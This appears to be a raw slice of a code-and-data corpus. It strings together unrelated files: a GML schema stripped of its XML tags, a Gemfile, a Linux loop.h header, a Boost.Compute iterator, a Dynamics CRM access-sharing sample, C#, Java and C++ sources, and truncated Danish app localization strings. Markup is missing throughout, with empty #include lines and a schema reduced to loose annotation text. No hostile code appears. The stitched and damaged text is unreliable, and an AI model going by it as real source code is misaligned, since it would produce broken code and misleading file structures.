\n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tType of a derived coordinate reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\tReference to a source of information specifying the values and meanings of all the allowed string values for this DerivedCRSTypeType. \n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the coordinate system used by this CRS. \n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to a non-projected derived coordinate reference system, either referencing or containing the definition of that reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tA contextually local coordinate reference system; which can be divided into two broad categories:\n- earth-fixed systems applied to engineering activities on or near the surface of the earth;\n- CRSs on moving platforms such as road vehicles, vessels, aircraft, or spacecraft.\nFor further information, see OGC Abstract Specification Topic 2. \n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the engineering datum used by this CRS. \n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to an engineering coordinate reference system, either referencing or containing the definition of that reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAn engineering coordinate reference system applied to locations in images. Image coordinate reference systems are treated as a separate sub-type because a separate user community exists for images with its own terms of reference. \n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the oblique Cartesian coordinate system used by this CRS.\n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the image datum used by this CRS. \n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to an image coordinate reference system, either referencing or containing the definition of that reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tA 1D coordinate reference system used for the recording of time. \n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the temporal coordinate system used by this CRS. \n\t\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to the temporal datum used by this CRS. \n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\tAssociation to a temporal coordinate reference system, either referencing or containing the definition of that reference system. \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\n"} +{"text": "source \"https://rubygems.org\"\n\ngem \"sinatra\"\ngem \"sinatra-sequel\"\n\ngroup :development, :test do\n gem \"sqlite3\"\n gem \"rack-test\"\nend\n\ngroup :production do\n gem \"pg\"\nend\n"} +{"text": "from numba.testing import unittest\nfrom numba.testing import load_testsuite\nfrom numba import cuda\nfrom os.path import dirname, join\n\n\ndef load_tests(loader, tests, pattern):\n suite = unittest.TestSuite()\n this_dir = dirname(__file__)\n suite.addTests(load_testsuite(loader, join(this_dir, 'nocuda')))\n if cuda.is_available():\n suite.addTests(load_testsuite(loader, join(this_dir, 'cudasim')))\n gpus = cuda.list_devices()\n if gpus and gpus[0].compute_capability >= (2, 0):\n suite.addTests(load_testsuite(loader, join(this_dir, 'cudadrv')))\n suite.addTests(load_testsuite(loader, join(this_dir, 'cudapy')))\n else:\n print(\"skipped CUDA tests because GPU CC < 2.0\")\n else:\n print(\"skipped CUDA tests\")\n return suite\n"} +{"text": "## MinFilter\n\n```\nMinFilter(list, r)\n```\n\n> filter which evaluates the `Min` of `list` for the radius `r`. \n "} +{"text": "/* Copied from 2.6.25 kernel headers to avoid problems on older hosts,\n * and subsequently updated to match newer additions to the API.\n */\n\n#ifndef LINUX_LOOP_H\n#define LINUX_LOOP_H\n\n/*\n * include/linux/loop.h\n *\n * Written by Theodore Ts'o, 3/29/93.\n *\n * Copyright 1993 by Theodore Ts'o. Redistribution of this file is\n * permitted under the GNU General Public License.\n */\n\n#define LO_NAME_SIZE\t64\n#define LO_KEY_SIZE\t32\n\n\n/*\n * Loop flags\n */\nenum {\n\tLO_FLAGS_READ_ONLY\t= 1,\n\tLO_FLAGS_USE_AOPS\t= 2,\n\tLO_FLAGS_AUTOCLEAR\t= 4,\n};\n\n#include \n#include \t/* for __kernel_old_dev_t */\n#include \t\t/* for __u64 */\n\n#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,0) /* This is a guess. */\n#define __kernel_old_dev_t __kernel_dev_t\n#endif\n\n/* Backwards compatibility version */\nstruct loop_info {\n\tint\t\t lo_number;\t\t/* ioctl r/o */\n\t__kernel_old_dev_t lo_device; \t\t/* ioctl r/o */\n\tunsigned long\t lo_inode; \t\t/* ioctl r/o */\n\t__kernel_old_dev_t lo_rdevice; \t\t/* ioctl r/o */\n\tint\t\t lo_offset;\n\tint\t\t lo_encrypt_type;\n\tint\t\t lo_encrypt_key_size; \t/* ioctl w/o */\n\tint\t\t lo_flags;\t\t\t/* ioctl r/o */\n\tchar\t\t lo_name[LO_NAME_SIZE];\n\tunsigned char\t lo_encrypt_key[LO_KEY_SIZE]; /* ioctl w/o */\n\tunsigned long\t lo_init[2];\n\tchar\t\t reserved[4];\n};\n\nstruct loop_info64 {\n\t__u64\t\t lo_device;\t\t\t/* ioctl r/o */\n\t__u64\t\t lo_inode;\t\t\t/* ioctl r/o */\n\t__u64\t\t lo_rdevice;\t\t\t/* ioctl r/o */\n\t__u64\t\t lo_offset;\n\t__u64\t\t lo_sizelimit;/* bytes, 0 == max available */\n\t__u32\t\t lo_number;\t\t\t/* ioctl r/o */\n\t__u32\t\t lo_encrypt_type;\n\t__u32\t\t lo_encrypt_key_size;\t\t/* ioctl w/o */\n\t__u32\t\t lo_flags;\t\t\t/* ioctl r/o */\n\t__u8\t\t lo_file_name[LO_NAME_SIZE];\n\t__u8\t\t lo_crypt_name[LO_NAME_SIZE];\n\t__u8\t\t lo_encrypt_key[LO_KEY_SIZE]; /* ioctl w/o */\n\t__u64\t\t lo_init[2];\n};\n\n/*\n * Loop filter types\n */\n\n#define LO_CRYPT_NONE\t\t0\n#define LO_CRYPT_XOR\t\t1\n#define LO_CRYPT_DES\t\t2\n#define LO_CRYPT_FISH2\t\t3 /* Twofish encryption */\n#define LO_CRYPT_BLOW\t\t4\n#define LO_CRYPT_CAST128\t5\n#define LO_CRYPT_IDEA\t\t6\n#define LO_CRYPT_DUMMY\t\t9\n#define LO_CRYPT_SKIPJACK\t10\n#define LO_CRYPT_CRYPTOAPI\t18\n#define MAX_LO_CRYPT\t\t20\n\n/*\n * IOCTL commands --- we will commandeer 0x4C ('L')\n */\n\n#define LOOP_SET_FD\t\t0x4C00\n#define LOOP_CLR_FD\t\t0x4C01\n#define LOOP_SET_STATUS\t\t0x4C02\n#define LOOP_GET_STATUS\t\t0x4C03\n#define LOOP_SET_STATUS64\t0x4C04\n#define LOOP_GET_STATUS64\t0x4C05\n#define LOOP_CHANGE_FD\t\t0x4C06\n#define LOOP_SET_CAPACITY 0x4C07\n#define LOOP_SET_DIRECT_IO 0x4C08\n\n/* /dev/loop-control interface */\n#define LOOP_CTL_ADD 0x4C80\n#define LOOP_CTL_REMOVE 0x4C81\n#define LOOP_CTL_GET_FREE 0x4C82\n\n#endif\n"} +{"text": "//---------------------------------------------------------------------------//\r\n// Copyright (c) 2013 Kyle Lutz \r\n//\r\n// Distributed under the Boost Software License, Version 1.0\r\n// See accompanying file LICENSE_1_0.txt or copy at\r\n// http://www.boost.org/LICENSE_1_0.txt\r\n//\r\n// See http://boostorg.github.com/compute for more information.\r\n//---------------------------------------------------------------------------//\r\n\r\n#ifndef BOOST_COMPUTE_ITERATOR_CONSTANT_BUFFER_ITERATOR_HPP\r\n#define BOOST_COMPUTE_ITERATOR_CONSTANT_BUFFER_ITERATOR_HPP\r\n\r\n#include \r\n#include \r\n\r\n#include \r\n\r\n#include \r\n#include \r\n#include \r\n\r\nnamespace boost {\r\nnamespace compute {\r\n\r\n// forward declaration for constant_buffer_iterator\r\ntemplate class constant_buffer_iterator;\r\n\r\nnamespace detail {\r\n\r\n// helper class which defines the iterator_facade super-class\r\n// type for constant_buffer_iterator\r\ntemplate\r\nclass constant_buffer_iterator_base\r\n{\r\npublic:\r\n typedef ::boost::iterator_facade<\r\n ::boost::compute::constant_buffer_iterator,\r\n T,\r\n ::std::random_access_iterator_tag,\r\n ::boost::compute::detail::buffer_value\r\n > type;\r\n};\r\n\r\n} // end detail namespace\r\n\r\n/// \\class constant_buffer_iterator\r\n/// \\brief An iterator for a buffer in the \\c constant memory space.\r\n///\r\n/// The constant_buffer_iterator class provides an iterator for values in a\r\n/// buffer in the \\c constant memory space.\r\n///\r\n/// For iterating over values in the \\c global memory space (the most common\r\n/// case), use the buffer_iterator class.\r\n///\r\n/// \\see buffer_iterator\r\ntemplate\r\nclass constant_buffer_iterator :\r\n public detail::constant_buffer_iterator_base::type\r\n{\r\npublic:\r\n typedef typename detail::constant_buffer_iterator_base::type super_type;\r\n typedef typename super_type::reference reference;\r\n typedef typename super_type::difference_type difference_type;\r\n\r\n constant_buffer_iterator()\r\n : m_buffer(0),\r\n m_index(0)\r\n {\r\n }\r\n\r\n constant_buffer_iterator(const buffer &buffer, size_t index)\r\n : m_buffer(&buffer),\r\n m_index(index)\r\n {\r\n }\r\n\r\n constant_buffer_iterator(const constant_buffer_iterator &other)\r\n : m_buffer(other.m_buffer),\r\n m_index(other.m_index)\r\n {\r\n }\r\n\r\n constant_buffer_iterator& operator=(const constant_buffer_iterator &other)\r\n {\r\n if(this != &other){\r\n m_buffer = other.m_buffer;\r\n m_index = other.m_index;\r\n }\r\n\r\n return *this;\r\n }\r\n\r\n ~constant_buffer_iterator()\r\n {\r\n }\r\n\r\n const buffer& get_buffer() const\r\n {\r\n return *m_buffer;\r\n }\r\n\r\n size_t get_index() const\r\n {\r\n return m_index;\r\n }\r\n\r\n T read(command_queue &queue) const\r\n {\r\n BOOST_ASSERT(m_buffer && m_buffer->get());\r\n BOOST_ASSERT(m_index < m_buffer->size() / sizeof(T));\r\n\r\n return detail::read_single_value(m_buffer, m_index, queue);\r\n }\r\n\r\n void write(const T &value, command_queue &queue)\r\n {\r\n BOOST_ASSERT(m_buffer && m_buffer->get());\r\n BOOST_ASSERT(m_index < m_buffer->size() / sizeof(T));\r\n\r\n detail::write_single_value(m_buffer, m_index, queue);\r\n }\r\n\r\n template\r\n detail::buffer_iterator_index_expr\r\n operator[](const Expr &expr) const\r\n {\r\n BOOST_ASSERT(m_buffer);\r\n BOOST_ASSERT(m_buffer->get());\r\n\r\n return detail::buffer_iterator_index_expr(\r\n *m_buffer, m_index, memory_object::constant_memory, expr\r\n );\r\n }\r\n\r\nprivate:\r\n friend class ::boost::iterator_core_access;\r\n\r\n reference dereference() const\r\n {\r\n return detail::buffer_value(*m_buffer, m_index);\r\n }\r\n\r\n bool equal(const constant_buffer_iterator &other) const\r\n {\r\n return m_buffer == other.m_buffer && m_index == other.m_index;\r\n }\r\n\r\n void increment()\r\n {\r\n m_index++;\r\n }\r\n\r\n void decrement()\r\n {\r\n m_index--;\r\n }\r\n\r\n void advance(difference_type n)\r\n {\r\n m_index = static_cast(static_cast(m_index) + n);\r\n }\r\n\r\n difference_type distance_to(const constant_buffer_iterator &other) const\r\n {\r\n return static_cast(other.m_index - m_index);\r\n }\r\n\r\nprivate:\r\n const buffer *m_buffer;\r\n size_t m_index;\r\n};\r\n\r\n/// Creates a new constant_buffer_iterator for \\p buffer at \\p index.\r\n///\r\n/// \\param buffer the \\ref buffer object\r\n/// \\param index the index in the buffer\r\n///\r\n/// \\return a \\c constant_buffer_iterator for \\p buffer at \\p index\r\ntemplate\r\ninline constant_buffer_iterator\r\nmake_constant_buffer_iterator(const buffer &buffer, size_t index = 0)\r\n{\r\n return constant_buffer_iterator(buffer, index);\r\n}\r\n\r\n/// \\internal_ (is_device_iterator specialization for constant_buffer_iterator)\r\ntemplate\r\nstruct is_device_iterator > : boost::true_type {};\r\n\r\nnamespace detail {\r\n\r\n// is_buffer_iterator specialization for constant_buffer_iterator\r\ntemplate\r\nstruct is_buffer_iterator<\r\n Iterator,\r\n typename boost::enable_if<\r\n boost::is_same<\r\n constant_buffer_iterator,\r\n typename boost::remove_const::type\r\n >\r\n >::type\r\n> : public boost::true_type {};\r\n\r\n} // end detail namespace\r\n} // end compute namespace\r\n} // end boost namespace\r\n\r\n#endif // BOOST_COMPUTE_ITERATOR_CONSTANT_BUFFER_ITERATOR_HPP\r\n"} +{"text": "\n\n\nExamples index\n\n\n\n\n"} +{"text": "' \n\n\nImports System.ServiceModel\n\n' These namespaces are found in the Microsoft.Xrm.Sdk.dll assembly\n' found in the SDK\\bin folder.\nImports Microsoft.Xrm.Sdk\nImports Microsoft.Xrm.Sdk.Client\n\n' This namespace is found in Microsoft.Crm.Sdk.Proxy.dll assembly\n' found in the SDK\\bin folder.\nImports Microsoft.Crm.Sdk.Messages\n\n\nNamespace Microsoft.Crm.Sdk.Samples\n\n\t''' \n\t''' Demonstrates sharing records via access messages.\n\t''' \n\tPublic Class SharingRecords\n\n\t\t#Region \"Class Level Members\"\n\n\t\tPrivate _userId As Guid\n\t\tPrivate _accountId As Guid\n\t\tPrivate _serviceProxy As OrganizationServiceProxy\n\t\tPrivate _service As IOrganizationService\n\n\t\t#End Region ' Class Level Members\n\n\t\t#Region \"How-To Sample Code\"\n\t\t''' \n\t\t''' Demonstrates sharing records by exercising various access messages including:\n\t\t''' Grant, Modify, Revoke, RetrievePrincipalAccess, and \n\t\t''' RetrievePrincipalsAndAccess.\n\t\t''' \n\t\t''' Contains server connection information.\n\t\t''' When True, the user will be prompted to delete all\n\t\t''' created entities.\n Public Sub Run(ByVal serverConfig As ServerConnection.Configuration,\n ByVal promptforDelete As Boolean)\n Try\n ' Connect to the Organization service. \n ' The using statement assures that the service proxy will be properly disposed.\n _serviceProxy = ServerConnection.GetOrganizationProxy(serverConfig)\n Using _serviceProxy\n ' This statement is required to enable early-bound type support.\n _serviceProxy.EnableProxyTypes()\n\n _service = CType(_serviceProxy, IOrganizationService)\n\n CreateRequiredRecords()\n\n '\t\t\t\t\t#Region \"GrantAccess Message\"\n\n ' Create the request object and set the target and principal access\n ' object.\n Dim grantRequest As New GrantAccessRequest() With\n {\n .Target = New EntityReference(Account.EntityLogicalName,\n _accountId),\n .PrincipalAccess =\n New PrincipalAccess() With\n {\n .Principal =\n New EntityReference(SystemUser.EntityLogicalName,\n _userId),\n .AccessMask = AccessRights.WriteAccess _\n Or AccessRights.ReadAccess _\n Or AccessRights.ShareAccess\n }\n }\n\n ' Execute the request.\n Dim grantResponse As GrantAccessResponse =\n CType(_service.Execute(grantRequest), GrantAccessResponse)\n\n Console.Write(\"Access Granted \")\n\n '\t\t\t\t\t#End Region\n\n '\t\t\t\t\t#Region \"ModifyAccess Message\"\n\n ' Create the request object and set the target and principal access\n ' object.\n Dim modifyRequest As New ModifyAccessRequest() With\n {\n .Target = New EntityReference(Account.EntityLogicalName,\n _accountId),\n .PrincipalAccess =\n New PrincipalAccess() With\n {\n .Principal =\n New EntityReference(SystemUser.EntityLogicalName,\n _userId),\n .AccessMask = AccessRights.ReadAccess _\n Or AccessRights.ShareAccess\n }\n }\n\n ' Execute the request.\n Dim modifyResponse As ModifyAccessResponse =\n CType(_service.Execute(modifyRequest), ModifyAccessResponse)\n\n Console.Write(\"and Modified. \")\n\n '\t\t\t\t\t#End Region\n\n '\t\t\t\t\t#Region \"RetrievePrincipalAccess Message\"\n\n ' Create the request object and set the target and principal.\n Dim retrieveRequest As New RetrievePrincipalAccessRequest() With\n {\n .Target = New EntityReference(Account.EntityLogicalName,\n _accountId),\n .Principal = New EntityReference(SystemUser.EntityLogicalName,\n _userId)\n }\n\n ' Execute the request.\n Dim retrieveResponse As RetrievePrincipalAccessResponse =\n CType(_service.Execute(retrieveRequest), \n RetrievePrincipalAccessResponse)\n\n Console.Write(\"Retrieved principal access. \")\n\n '\t\t\t\t\t#End Region\n\n '\t\t\t\t\t#Region \"RetrieveSharedPrincipalsAndAccess Message\"\n\n ' Create the request object and set the target.\n Dim retrieveSharedRequest As _\n New RetrieveSharedPrincipalsAndAccessRequest() With\n {\n .Target = New EntityReference(Account.EntityLogicalName,\n _accountId)\n }\n\n ' Execute the request.\n Dim retrieveSharedResponse As _\n RetrieveSharedPrincipalsAndAccessResponse =\n CType(_service.Execute(retrieveSharedRequest), \n RetrieveSharedPrincipalsAndAccessResponse)\n\n Console.Write(\"Retrieved principals and access. \")\n\n '\t\t\t\t\t#End Region\n\n '\t\t\t\t\t#Region \"RevokeAccess Message\"\n\n ' Create the request object and set the target and revokee.\n Dim revokeRequest As _\n New RevokeAccessRequest() With\n {\n .Target = New EntityReference(Account.EntityLogicalName,\n _accountId),\n .Revokee = New EntityReference(SystemUser.EntityLogicalName,\n _userId)\n }\n\n ' Execute the request.\n Dim revokeResponse As RevokeAccessResponse =\n CType(_service.Execute(revokeRequest), \n RevokeAccessResponse)\n\n Console.Write(\"Revoked Access.\")\n\n '\t\t\t\t\t#End Region\n\n DeleteRequiredRecords(promptforDelete)\n End Using\n\n ' Catch any service fault exceptions that Microsoft Dynamics CRM throws.\n Catch fe As FaultException(Of Microsoft.Xrm.Sdk.OrganizationServiceFault)\n ' You can handle an exception here or pass it back to the calling method.\n Throw\n End Try\n End Sub\n\n\t\t''' \n\t\t''' Creates any entity records that this sample requires.\n\t\t''' \n\t\tPublic Sub CreateRequiredRecords()\n\t\t\t' Get the GUID of the Marketing Manager\n\t\t\t_userId = SystemUserProvider.RetrieveMarketingManager(_serviceProxy)\n\n\t\t\t' Instantiate an Account object.\n\t\t\t' See the Entity Metadata topic in the SDK documentation to determine\n\t\t\t' which attributes must be set for each entity.\n\t\t\tDim setupAccount As New Account() With {.Name = \"Fourth Coffee\"}\n\t\t\t_accountId = _service.Create(setupAccount)\n\t\tEnd Sub\n\n\t\t''' \n\t\t''' Deletes any entity records and files that were created for this sample.\n\t\t''' Indicates whether to prompt the user \n\t\t''' to delete the records created in this sample.\n\t\t''' \n\t\tPublic Sub DeleteRequiredRecords(ByVal prompt As Boolean)\n\t\t\t' The system user named \"Samantha Smith\" that was created by this sample will\n\t\t\t' continue to exist on your system because system users cannot be deleted\n\t\t\t' in Microsoft Dynamics CRM. They can only be enabled or disabled.\n\t\t\t' If not prompting the user, go ahead and clean up.\n\n\t\t\tIf Not prompt Then\n\t\t\t\t_service.Delete(Account.EntityLogicalName, _accountId)\n\t\t\t\tConsole.WriteLine(\"Entity record(s) have been deleted.\")\n\t\t\t\tReturn\n\t\t\tEnd If\n\n\t\t\t' Ask the user if the created entities should be deleted.\n\t\t\tConsole.Write(vbLf & \"Do you want these entity records deleted? (y/n) [y]: \")\n\t\t\tDim answer As String = Console.ReadLine()\n\n If answer.StartsWith(\"y\") OrElse answer.StartsWith(\"Y\") _\n OrElse answer = String.Empty Then\n _service.Delete(Account.EntityLogicalName, _accountId)\n Console.WriteLine(\"Entity record(s) have been deleted.\")\n End If\n\t\tEnd Sub\n\n\t\t#End Region ' How-To Sample Code\n\n\t\t#Region \"Main method\"\n\n\t\t''' \n\t\t''' Standard Main() method used by most SDK samples.\n\t\t''' \n\t\t''' \n\t\tPublic Shared Sub Main(ByVal args() As String)\n\t\t\tTry\n\t\t\t\t' Obtain the target organization's Web address and client logon \n\t\t\t\t' credentials from the user.\n\t\t\t\tDim serverConnect As New ServerConnection()\n Dim config As ServerConnection.Configuration =\n serverConnect.GetServerConfiguration()\n\n\t\t\t\tDim app As New SharingRecords()\n\t\t\t\tapp.Run(config, True)\n\t\t\tCatch ex As FaultException(Of Microsoft.Xrm.Sdk.OrganizationServiceFault)\n\t\t\t\tConsole.WriteLine(\"The application terminated with an error.\")\n\t\t\t\tConsole.WriteLine(\"Timestamp: {0}\", ex.Detail.Timestamp)\n\t\t\t\tConsole.WriteLine(\"Code: {0}\", ex.Detail.ErrorCode)\n\t\t\t\tConsole.WriteLine(\"Message: {0}\", ex.Detail.Message)\n\t\t\t\tConsole.WriteLine(\"Plugin Trace: {0}\", ex.Detail.TraceText)\n Console.WriteLine(\"Inner Fault: {0}\", If(Nothing Is ex.Detail.InnerFault, \"No Inner Fault\", \"Has Inner Fault\"))\n\t\t\tCatch ex As TimeoutException\n\t\t\t\tConsole.WriteLine(\"The application terminated with an error.\")\n\t\t\t\tConsole.WriteLine(\"Message: {0}\", ex.Message)\n\t\t\t\tConsole.WriteLine(\"Stack Trace: {0}\", ex.StackTrace)\n Console.WriteLine(\"Inner Fault: {0}\",\n If(Nothing Is ex.InnerException.Message, \"No Inner Fault\", ex.InnerException.Message))\n\t\t\tCatch ex As Exception\n\t\t\t\tConsole.WriteLine(\"The application terminated with an error.\")\n\t\t\t\tConsole.WriteLine(ex.Message)\n\n\t\t\t\t' Display the details of the inner exception.\n\t\t\t\tIf ex.InnerException IsNot Nothing Then\n\t\t\t\t\tConsole.WriteLine(ex.InnerException.Message)\n\n Dim fe As FaultException(Of Microsoft.Xrm.Sdk.OrganizationServiceFault) =\n TryCast(ex.InnerException, \n FaultException(Of Microsoft.Xrm.Sdk.OrganizationServiceFault))\n\t\t\t\t\tIf fe IsNot Nothing Then\n\t\t\t\t\t\tConsole.WriteLine(\"Timestamp: {0}\", fe.Detail.Timestamp)\n\t\t\t\t\t\tConsole.WriteLine(\"Code: {0}\", fe.Detail.ErrorCode)\n\t\t\t\t\t\tConsole.WriteLine(\"Message: {0}\", fe.Detail.Message)\n\t\t\t\t\t\tConsole.WriteLine(\"Plugin Trace: {0}\", fe.Detail.TraceText)\n Console.WriteLine(\"Inner Fault: {0}\",\n If(Nothing Is fe.Detail.InnerFault, \"No Inner Fault\", \"Has Inner Fault\"))\n\t\t\t\t\tEnd If\n\t\t\t\tEnd If\n\t\t\t' Additional exceptions to catch: SecurityTokenValidationException, ExpiredSecurityTokenException,\n\t\t\t' SecurityAccessDeniedException, MessageSecurityException, and SecurityNegotiationException.\n\n\t\t\tFinally\n\t\t\t\tConsole.WriteLine(\"Press to exit.\")\n\t\t\t\tConsole.ReadLine()\n\t\t\tEnd Try\n\t\tEnd Sub\n\t\t#End Region ' Main method\n\tEnd Class\nEnd Namespace\n\n' "} +{"text": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License (MIT).\n// THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF\n// ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY\n// IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR\n// PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.\n//\n//*********************************************************\n\nusing System.Diagnostics;\nusing System.Threading;\nusing Windows.Networking.Sockets;\nusing ChatterBox.Background.Signaling;\n\nnamespace ChatterBox.Background\n{\n public sealed class SignalingSocketOperation : ISignalingSocketOperation\n {\n private static readonly SemaphoreSlim SemaphoreSlim = new SemaphoreSlim(1, 1);\n private StreamSocket _socket;\n\n internal SignalingSocketOperation()\n {\n SemaphoreSlim.Wait();\n }\n\n public static string SignalingSocketId { get; } = nameof(SignalingSocketId);\n\n\n public void Dispose()\n {\n _socket?.TransferOwnership(SignalingSocketId);\n SemaphoreSlim.Release();\n }\n\n public void Disconnect()\n {\n Dispose();\n if (Socket == null) return;\n _socket.Dispose();\n _socket = null;\n }\n\n public StreamSocket Socket\n {\n get\n {\n if (_socket != null) return _socket;\n\n try\n {\n SocketActivityInformation socketInformation;\n _socket = SocketActivityInformation.AllSockets.TryGetValue(SignalingSocketId, out socketInformation)\n ? socketInformation.StreamSocket\n : null;\n }\n catch (System.Exception exception)\n {\n Debug.WriteLine(\"SignalingSocketOperation exception: \" + exception.Message);\n _socket = null;\n }\n\n if (_socket == null)\n {\n Debug.WriteLine(\"SignalingSocketOperation - Socket was null\");\n }\n\n return _socket;\n }\n }\n }\n}"} +{"text": "package com.carrotsearch.ant.tasks.junit4.listeners.antxml;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * Local markup to indicate which elements are extensions and where. \n */\n@Retention(RetentionPolicy.SOURCE)\n@Target({ElementType.FIELD, ElementType.METHOD})\n@interface NotAnt {\n String extensionSource() default \"junit4\";\n}\n"} +{"text": "// this feature is used to turn on coverage instrumentation (for gcov)\n// the flag is in the negative, so that is only needs to be addressed\n// when we do a coverage build and defaults to off otherwise\n\nfeature(!dds_non_coverage) {\n\n verbatim(gnuace,local) {\n\n CCFLAGS += --coverage\n LDFLAGS += --coverage\n\n }\n\n}\n"} +{"text": "{\n \"images\" : [\n {\n \"idiom\" : \"universal\",\n \"filename\" : \"icon_open.png\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"universal\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"universal\",\n \"scale\" : \"3x\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} +{"text": "// Copyright (c) 2020 VMware, Inc. All Rights Reserved.\n// SPDX-License-Identifier: GPL-2.0\n\n#pragma once\n#include \n#include \"../Allocations/PatternDescriber.h\"\n#include \"../ProcessImage.h\"\n#include \"InfrastructureFinder.h\"\n\nnamespace chap {\nnamespace Python {\ntemplate \nclass ArenaStructArrayDescriber : public Allocations::PatternDescriber {\n public:\n typedef\n typename Allocations::Directory::AllocationIndex AllocationIndex;\n typedef typename Allocations::PatternDescriber Base;\n typedef typename Allocations::Directory::Allocation Allocation;\n ArenaStructArrayDescriber(const ProcessImage& processImage)\n : Allocations::PatternDescriber(processImage,\n \"PythonArenaStructArray\"),\n _infrastructureFinder(processImage.GetPythonInfrastructureFinder()),\n _contiguousImage(processImage.GetVirtualAddressMap(),\n processImage.GetAllocationDirectory()) {}\n\n /*\n * Describe the specified allocation, which has already been pre-tagged\n * as matching the pattern.\n */\n virtual void Describe(Commands::Context& context, AllocationIndex index,\n const Allocation& /* allocation */,\n bool explain) const {\n Commands::Output& output = context.GetOutput();\n output << \"This allocation matches pattern PythonArenaStructArray.\\n\";\n output << \"There are \" << std::dec\n << _infrastructureFinder.ArenaStructCount() << \" entries of size 0x\"\n << std::hex << _infrastructureFinder.ArenaStructSize()\n << \" in the array.\\n\";\n output << std::dec << _infrastructureFinder.NumArenas()\n << \" entries in the array\"\n << \" have corresponding python arenas.\\n\";\n _contiguousImage.SetIndex(index);\n // TODO: Possibly dump the array as part of the description.\n if (explain) {\n }\n }\n\n private:\n const InfrastructureFinder& _infrastructureFinder;\n mutable Allocations::ContiguousImage _contiguousImage;\n};\n} // namespace Python\n} // namespace chap\n"} +{"text": "\"about-content-license-details-share-alike-license\" = \"Creative Commons Kreditering-DelP\\U00e5SammeVilk\\U00e5r-licensen\";\n\"settings-storage-and-syncing-server-sync-footer-text\" = \"Anmod om en synkronisering fra serveren for en opdatering til dine synkroniserede artikler og l\\U00e6selister\";\n\"appearance-settings-expand-tables-footer\" = \"Angiv at alle tabeller i alle artikler skal v\\U00e6re \\U00e5bne som standard, inklusive hurtige fakta, referencer, noter og eksterne henvisninger.\";\n\"wikitext-downloading\" = \"Henter indhold...\";\n\"insert-media-image-size-setting-default\" = \"Standard\";\n\"insert-media-alternative-text-title\" = \"Alternativ tekst\";\n\"about-content-license-details\" = \"Medmindre andet er specificeret er indholdet tilg\\U00e6ngeligt under %1$@.\";\n\"insert-media-image-position-setting-none\" = \"Ingen\";\n\"reading-list-sync-enabled-panel-title\" = \"Synkronisering er aktiveret p\\U00e5 denne konto\";\n\"reading-lists-sort-saved-articles\" = \"Sorter gemte artikler\";\n\"reading-lists-delete-reading-list-alert-title\" = \"Slet %1$d|liste|lister?\";\n\"error-generic-recovery-suggestion\" = \"Pr\\U00f8v venligst igen senere\";\n\"article-toolbar-reading-themes-controls-toolbar-item\" = \"Styring af l\\U00e6setemaer\";\n\"appearance-settings-image-dimming-footer\" = \"S\\U00e6nk gennemsigtighed for billeder p\\U00e5 det m\\U00f8rke tema\";\n\"action-add-to-reading-list-short\" = \"Tilf\\U00f8j til liste\";\n\"places-search-your-current-location\" = \"Din aktuelle placering\";\n\"unknown-generic-text\" = \"Ukendt\";\n\"wikitext-upload-result-unknown\" = \"Ude af stand til at afg\\U00f8re resultatet af wikitext upload.\";\n\"appearance-settings-text-sizing-example-text\" = \"Tr\\U00e6k skyderen oven over for at \\U00e6ndre st\\U00f8rrelsen p\\U00e5 artikelteksten. Udnyt din tekstst\\U00f8rrelse fra systemet til at \\U00e6ndre st\\U00f8rrelse p\\U00e5 andre tekstomr\\U00e5der i programmet.\";\n\"account-creation-captcha-request-account\" = \"Anmod om konto.\";\n\"wikitext-upload-captcha-error\" = \"CAPTCHA kontrolfejl.\";\n\"history-clear-cancel\" = \"Annuller\";\n\"explore-most-read-more-list-title-for-date\" = \"Mest l\\U00e6st d. %1$@\";\n\"theme-default-display-name\" = \"Standard\";\n\"reading-lists-article-queued-to-be-downloaded\" = \"Artiklen er sat i k\\U00f8r for download\";\n\"welcome-exploration-explore-feed-title\" = \"Udforsk 